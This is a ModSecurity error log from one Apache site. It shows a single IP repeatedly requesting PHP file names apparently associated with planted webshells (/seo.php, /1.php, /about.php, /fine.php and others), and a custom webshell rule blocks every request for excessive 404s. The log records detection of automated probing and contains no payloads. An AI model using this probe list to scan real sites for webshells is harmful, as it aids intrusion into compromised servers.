[Sun Apr 12 12:12:09.397376 2026] [:error] [pid 26600:tid 26652] [client 20.215.64.75:62966] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/seo.php"] [unique_id "adsbme1YwAZiXhQKLYrYwgAAAZc"]
[Sun Apr 12 12:12:10.032775 2026] [:error] [pid 25329:tid 25415] [client 20.215.64.75:9225] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/seo.php"] [unique_id "adsbmmdcIYsS8Iyaj118RQAAAJg"]
[Sun Apr 12 12:12:10.686747 2026] [:error] [pid 25328:tid 25370] [client 20.215.64.75:61050] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/7.php"] [unique_id "adsbmsxUaQZxT-e0YsCCewAAAEY"]
[Sun Apr 12 12:12:11.259780 2026] [:error] [pid 25328:tid 25396] [client 20.215.64.75:9254] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/7.php"] [unique_id "adsbm8xUaQZxT-e0YsCCfQAAAFM"]
[Sun Apr 12 12:12:11.828188 2026] [:error] [pid 25437:tid 25452] [client 20.215.64.75:52466] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/7.php"] [unique_id "adsbm3f97wYZje1ep_PHjQAAAM0"]
[Sun Apr 12 12:12:12.366948 2026] [:error] [pid 25328:tid 25379] [client 20.215.64.75:61025] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/7.php"] [unique_id "adsbnMxUaQZxT-e0YsCCgAAAAEs"]
[Sun Apr 12 12:12:12.922397 2026] [:error] [pid 25328:tid 25394] [client 20.215.64.75:59116] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/8.php"] [unique_id "adsbnMxUaQZxT-e0YsCChAAAAFI"]
[Sun Apr 12 12:12:13.523674 2026] [:error] [pid 25328:tid 25364] [client 20.215.64.75:52419] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/8.php"] [unique_id "adsbncxUaQZxT-e0YsCCiQAAAEA"]
[Sun Apr 12 12:12:14.123843 2026] [:error] [pid 25328:tid 25396] [client 20.215.64.75:59080] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/8.php"] [unique_id "adsbnsxUaQZxT-e0YsCCjAAAAFM"]
[Sun Apr 12 12:12:14.766796 2026] [:error] [pid 26567:tid 26571] [client 20.215.64.75:62919] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/8.php"] [unique_id "adsbnnhRpg6ptWFyFx1eawAAAQI"]
[Sun Apr 12 12:12:15.356858 2026] [:error] [pid 26599:tid 26607] [client 20.215.64.75:59109] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/1.php"] [unique_id "adsbn3G89LXoQbk_rwCXMAAAAUU"]
[Sun Apr 12 12:12:15.906049 2026] [:error] [pid 26567:tid 26576] [client 20.215.64.75:52440] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/1.php"] [unique_id "adsbn3hRpg6ptWFyFx1ebgAAAQc"]
[Sun Apr 12 12:12:16.446885 2026] [:error] [pid 26567:tid 26572] [client 20.215.64.75:62952] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/1.php"] [unique_id "adsboHhRpg6ptWFyFx1ecAAAAQM"]
[Sun Apr 12 12:12:17.027909 2026] [:error] [pid 25437:tid 25445] [client 20.215.64.75:9575] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/1.php"] [unique_id "adsboXf97wYZje1ep_PHkgAAAMY"]
[Sun Apr 12 12:12:17.549910 2026] [:error] [pid 26567:tid 26573] [client 20.215.64.75:52456] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/2.php"] [unique_id "adsboXhRpg6ptWFyFx1ecgAAAQQ"]
[Sun Apr 12 12:12:18.094701 2026] [:error] [pid 26600:tid 26637] [client 20.215.64.75:59095] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/2.php"] [unique_id "adsbou1YwAZiXhQKLYrYzwAAAYg"]
[Sun Apr 12 12:12:18.617278 2026] [:error] [pid 26567:tid 26583] [client 20.215.64.75:59737] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/2.php"] [unique_id "adsbonhRpg6ptWFyFx1ecwAAAQ4"]
[Sun Apr 12 12:12:19.210380 2026] [:error] [pid 25329:tid 25382] [client 20.215.64.75:9565] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/2.php"] [unique_id "adsbo2dcIYsS8Iyaj118RwAAAIQ"]
[Sun Apr 12 12:12:19.770704 2026] [:error] [pid 25328:tid 25364] [client 20.215.64.75:59126] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/3.php"] [unique_id "adsbo8xUaQZxT-e0YsCCjwAAAEA"]
[Sun Apr 12 12:12:20.284205 2026] [:error] [pid 25329:tid 25399] [client 20.215.64.75:52461] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/3.php"] [unique_id "adsbpGdcIYsS8Iyaj118SwAAAI0"]
[Sun Apr 12 12:12:20.823450 2026] [:error] [pid 26600:tid 26646] [client 20.215.64.75:59129] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/3.php"] [unique_id "adsbpO1YwAZiXhQKLYrY0gAAAZE"]
[Sun Apr 12 12:12:21.367001 2026] [:error] [pid 25328:tid 25367] [client 20.215.64.75:52420] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/3.php"] [unique_id "adsbpcxUaQZxT-e0YsCCkAAAAEM"]
[Sun Apr 12 12:12:21.897020 2026] [:error] [pid 26599:tid 26621] [client 20.215.64.75:62933] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/4.php"] [unique_id "adsbpXG89LXoQbk_rwCXMQAAAVM"]
[Sun Apr 12 12:12:22.446854 2026] [:error] [pid 26567:tid 26575] [client 20.215.64.75:60995] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/4.php"] [unique_id "adsbpnhRpg6ptWFyFx1edQAAAQY"]
[Sun Apr 12 12:12:22.999459 2026] [:error] [pid 26567:tid 26571] [client 20.215.64.75:9559] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/4.php"] [unique_id "adsbpnhRpg6ptWFyFx1eeQAAAQI"]
[Sun Apr 12 12:12:23.531913 2026] [:error] [pid 26600:tid 26631] [client 20.215.64.75:62953] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/4.php"] [unique_id "adsbp-1YwAZiXhQKLYrY1wAAAYI"]
[Sun Apr 12 12:12:24.115781 2026] [:error] [pid 25328:tid 25373] [client 20.215.64.75:61051] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/5.php"] [unique_id "adsbqMxUaQZxT-e0YsCCkwAAAEg"]
[Sun Apr 12 12:12:24.755591 2026] [:error] [pid 25327:tid 25353] [client 20.215.64.75:61020] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/5.php"] [unique_id "adsbqC6h2tZEVJo9JFKUOQAAABE"]
[Sun Apr 12 12:12:25.387364 2026] [:error] [pid 25329:tid 25409] [client 20.215.64.75:9567] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/5.php"] [unique_id "adsbqWdcIYsS8Iyaj118TwAAAJM"]
[Sun Apr 12 12:12:25.951254 2026] [:error] [pid 25329:tid 25413] [client 20.215.64.75:61039] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/5.php"] [unique_id "adsbqWdcIYsS8Iyaj118UQAAAJY"]
[Sun Apr 12 12:12:26.494793 2026] [:error] [pid 26600:tid 26649] [client 20.215.64.75:62925] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/6.php"] [unique_id "adsbqu1YwAZiXhQKLYrY2wAAAZQ"]
[Sun Apr 12 12:12:27.025448 2026] [:error] [pid 25328:tid 25375] [client 20.215.64.75:62939] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/6.php"] [unique_id "adsbq8xUaQZxT-e0YsCClQAAAEk"]
[Sun Apr 12 12:12:27.541105 2026] [:error] [pid 25328:tid 25366] [client 20.215.64.75:52479] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/6.php"] [unique_id "adsbq8xUaQZxT-e0YsCCmgAAAEI"]
[Sun Apr 12 12:12:28.150880 2026] [:error] [pid 25328:tid 25368] [client 20.215.64.75:60992] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/6.php"] [unique_id "adsbrMxUaQZxT-e0YsCCngAAAEQ"]
[Sun Apr 12 12:12:28.695277 2026] [:error] [pid 26600:tid 26646] [client 20.215.64.75:52434] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/9.php"] [unique_id "adsbrO1YwAZiXhQKLYrY3gAAAZE"]
[Sun Apr 12 12:12:29.216904 2026] [:error] [pid 26600:tid 26643] [client 20.215.64.75:52457] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/9.php"] [unique_id "adsbre1YwAZiXhQKLYrY4AAAAY4"]
[Sun Apr 12 12:12:29.754213 2026] [:error] [pid 26567:tid 26586] [client 20.215.64.75:9252] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/9.php"] [unique_id "adsbrXhRpg6ptWFyFx1egQAAARE"]
[Sun Apr 12 12:12:30.295224 2026] [:error] [pid 25328:tid 25364] [client 20.215.64.75:9250] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/9.php"] [unique_id "adsbrsxUaQZxT-e0YsCCowAAAEA"]
[Sun Apr 12 12:12:30.830536 2026] [:error] [pid 25328:tid 25379] [client 20.215.64.75:61054] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/10.php"] [unique_id "adsbrsxUaQZxT-e0YsCCqgAAAEs"]
[Sun Apr 12 12:12:31.344359 2026] [:error] [pid 60280:tid 60287] [client 20.215.64.75:61025] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/10.php"] [unique_id "adsbr3BlLnDOYuIykkijiAAAAcU"]
[Sun Apr 12 12:12:31.868951 2026] [:error] [pid 60280:tid 60295] [client 20.215.64.75:61015] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/10.php"] [unique_id "adsbr3BlLnDOYuIykkijiQAAAc0"]
[Sun Apr 12 12:12:32.383408 2026] [:error] [pid 60280:tid 60293] [client 20.215.64.75:9547] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/10.php"] [unique_id "adsbsHBlLnDOYuIykkijjQAAAcs"]
[Sun Apr 12 12:12:32.899639 2026] [:error] [pid 60280:tid 60289] [client 20.215.64.75:59775] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.mopj.php"] [unique_id "adsbsHBlLnDOYuIykkijkAAAAcc"]
[Sun Apr 12 12:12:39.979516 2026] [:error] [pid 60280:tid 60284] [client 20.215.64.75:52452] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/about.php"] [unique_id "adsbt3BlLnDOYuIykkijxAAAAcI"]
[Sun Apr 12 12:12:40.567988 2026] [:error] [pid 25328:tid 25372] [client 20.215.64.75:52465] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/about.php"] [unique_id "adsbuMxUaQZxT-e0YsCCtwAAAEc"]
[Sun Apr 12 12:12:41.085189 2026] [:error] [pid 60280:tid 60300] [client 20.215.64.75:62940] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/about.php"] [unique_id "adsbuXBlLnDOYuIykkijxwAAAdI"]
[Sun Apr 12 12:12:41.649846 2026] [:error] [pid 60280:tid 60283] [client 20.215.64.75:59751] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/about.php"] [unique_id "adsbuXBlLnDOYuIykkijywAAAcE"]
[Sun Apr 12 12:12:42.336432 2026] [:error] [pid 26600:tid 26649] [client 20.215.64.75:61021] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/no18.php"] [unique_id "adsbuu1YwAZiXhQKLYrY5gAAAZQ"]
[Sun Apr 12 12:12:42.907138 2026] [:error] [pid 60280:tid 60295] [client 20.215.64.75:9251] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/no18.php"] [unique_id "adsbunBlLnDOYuIykkij0gAAAc0"]
[Sun Apr 12 12:12:43.470526 2026] [:error] [pid 25328:tid 25403] [client 20.215.64.75:61045] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/no18.php"] [unique_id "adsbu8xUaQZxT-e0YsCCugAAAFY"]
[Sun Apr 12 12:12:44.026549 2026] [:error] [pid 26599:tid 26609] [client 20.215.64.75:61016] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/no18.php"] [unique_id "adsbvHG89LXoQbk_rwCXOAAAAUc"]
[Sun Apr 12 12:12:44.661420 2026] [:error] [pid 25437:tid 25450] [client 20.215.64.75:62916] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fine.php"] [unique_id "adsbvHf97wYZje1ep_PHtwAAAMs"]
[Sun Apr 12 12:12:45.398793 2026] [:error] [pid 25437:tid 25462] [client 20.215.64.75:62931] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fine.php"] [unique_id "adsbvXf97wYZje1ep_PHvgAAANc"]
[Sun Apr 12 12:12:46.003740 2026] [:error] [pid 25437:tid 25449] [client 20.215.64.75:59114] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fine.php"] [unique_id "adsbvnf97wYZje1ep_PHwgAAAMo"]
[Sun Apr 12 12:12:46.549818 2026] [:error] [pid 26567:tid 26576] [client 20.215.64.75:9592] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fine.php"] [unique_id "adsbvnhRpg6ptWFyFx1eigAAAQc"]
[Sun Apr 12 12:12:47.102074 2026] [:error] [pid 25437:tid 25450] [client 20.215.64.75:62957] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zample.php"] [unique_id "adsbv3f97wYZje1ep_PHxAAAAMs"]
